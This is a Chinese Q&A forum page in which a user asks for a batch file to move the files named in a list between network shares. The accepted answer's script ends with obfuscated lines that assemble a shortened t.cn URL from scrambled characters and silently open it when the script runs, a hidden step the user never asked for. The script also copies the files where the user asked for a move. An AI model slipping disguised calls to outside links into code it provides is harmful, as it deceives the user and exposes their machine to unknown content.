求大神写一个批处理文件

我用其它工具开发时,需要批处理文件执行一些操作,大致如下:
1.在unc路径上读取列表文件abc.list
2.根据abc.list里每条数据(每行的数据就是一个文件名),把abc.list里所有的内容对应的文件移动到另外一个unc的路径下面

@echo off & title 根据列表移动文件 By 依梦琴瑶

::设置文件列表
set List=abc.list

::设置原文件目录
set SrcDir=D:\UNC

::设置目标保存目录
set SavDir=E:\UNC

for /f "delims=" %%a in ('type "%List%"') do (
if exist "%SrcDir%\%%~a" copy "%SrcDir%\%%~a" "%SavDir%\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

请先使用不重要的文件进行测试,如有问题,请追问。
温馨提示:答案为网友推荐,仅供参考
第1个回答  2018-09-20
你的好几个文件是不是都是txt类型的哦,如果是的话,我下面就给你代码。 @echo off setlocal enabledelayedexpansion set num=0 for %%a in (*.txt) do ( set/a num+=1 ren "%%a" "!num!.txt" ) echo.完成!&&pause>nul 和你需要处理的文件夹内运行即可。追问

能不能追加个代码,让这个处理在unc上也能执行呢?我的文件夹和文件都是在网络共享路径下的,不是本地路径下

相关了解……

你可能感兴趣的内容

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 非常风气网